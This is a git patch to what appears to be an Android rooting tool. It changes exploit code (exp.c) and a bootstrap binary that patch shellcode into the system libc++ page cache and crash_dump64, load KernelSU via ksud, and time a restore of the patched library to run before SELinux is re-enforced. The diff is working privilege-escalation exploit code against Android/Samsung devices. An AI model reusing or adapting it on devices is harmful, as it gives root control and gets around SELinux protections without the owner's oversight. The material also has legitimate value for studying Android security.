From 08f1fa01a36fa7a73ee25cc50d6d59a6630fa78b Mon Sep 17 00:00:00 2001 From: Undefined Date: Mon, 19 Oct 2026 22:29:05 +0000 Subject: [PATCH] Fix libc++ patch restore failed --- app/src/main/jni/bootstrap.c | 19 +++++++++++++++---- app/src/main/jni/exp.c | 21 ++++++++++++++++++++- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/app/src/main/jni/bootstrap.c b/app/src/main/jni/bootstrap.c index b05447c4..59a19b57 100644 --- a/app/src/main/jni/bootstrap.c +++ b/app/src/main/jni/bootstrap.c @@ -9,10 +9,12 @@ #include #define BLKROSET 0x125d -#define KSUD_STAGE "/data/user_de/0/df.root/ksud" +#define APP_DATA "/data/user_de/0/df.root" +#define KSUD_STAGE APP_DATA "/ksud" #define KSUD "/data/adb/ksud" -#define PREFS_PATH "/data/user_de/0/df.root/shared_prefs/dfroot.xml" +#define PREFS_PATH APP_DATA "/shared_prefs/dfroot.xml" #define MODULES_DIR "/data/adb/modules" +#define CXX_RESTORED APP_DATA "/cxx_restored" static int pref_true(const char *buf, const char *key) { @@ -219,7 +221,16 @@ int main(void) } } - touch("/dev/dfm5"); + /* The app restores the libc++ page cache before ksud loads kernelsu.ko, + * whose init re-enforces SELinux - Samsung denies the restore under + * enforcing. Cap the wait at ~10s: a dead app cannot stall the flow. */ + for (int i = 0; i < 100; i++) { + if (access(CXX_RESTORED, F_OK) == 0) + break; + usleep(100000); + } + + touch("/dev/dfm5"); if (run_ctx(NULL, (char *[]){ KSUD_STAGE, "late-load", "--package-name", su_manager, NULL }) == 0) { touch("/dev/dfm6"); if (soft_reboot) { @@ -229,6 +240,6 @@ int main(void) } else { touch("/dev/dfme2"); } - + return 0; } diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index a91c3b16..8ce56a6b 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -18,6 +18,7 @@ #include "aes256.h" #define eos(s) (s + strlen(s)) +#define CXX_RESTORED "/data/user_de/0/df.root/cxx_restored" static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; static char *libcxx_ko_target; @@ -390,6 +391,7 @@ static void cleanup(void) { printf("restoring shellcode in %s\n", g_libcxx_r.lib); patch_file_cbc(g_libcxx_r.lib, g_libcxx_r.shell_orig, g_libcxx_r.shell_padded, (size_t)g_libcxx_r.shell_off, 0); + g_libcxx_r.valid = 0; } int find_hook_target(const char *lib, const char *sym, @@ -540,6 +542,10 @@ static int setup(int argc, char **argv) { static int exploit(void) { printf("\n=== exploit (patching files) ===\n"); + /* Drop a stale cxx_restored - it would let bootstrap skip its wait. + * No race: bootstrap is only spawned later, by the hook. */ + unlink(CXX_RESTORED); + int rc = 3; if (patch_helper()) goto done; if (patch_ko()) goto done; @@ -550,7 +556,7 @@ static int exploit(void) { rc = 2; usleep(500000); - + printf("\n=== init ===\n"); createOrphanProcess(); @@ -584,6 +590,19 @@ static int exploit(void) { if (markers[j].rc >= 0) { rc = markers[j].rc; goto done; } } } + /* dfm1 means bootstrap is running. Restore while still permissive: + * kernelsu.ko's init re-enforces SELinux, and Samsung denies the + * restore under enforcing. bootstrap waits for cxx_restored. */ + if (g_libcxx_r.valid && access("/dev/dfm1", F_OK) == 0) { + cleanup(); + /* The app cannot write /dev (DAC), so cxx_restored lives in its + * own data dir, which bootstrap already reads (prefs, ksud). */ + int fd = open(CXX_RESTORED, O_CREAT | O_WRONLY, 0666); + if (fd < 0) + printf("libc++: ERROR - cannot create cxx_restored\n"); + else + close(fd); + } } printf("timeout: ERROR - check logcat & dmesg\n"); done: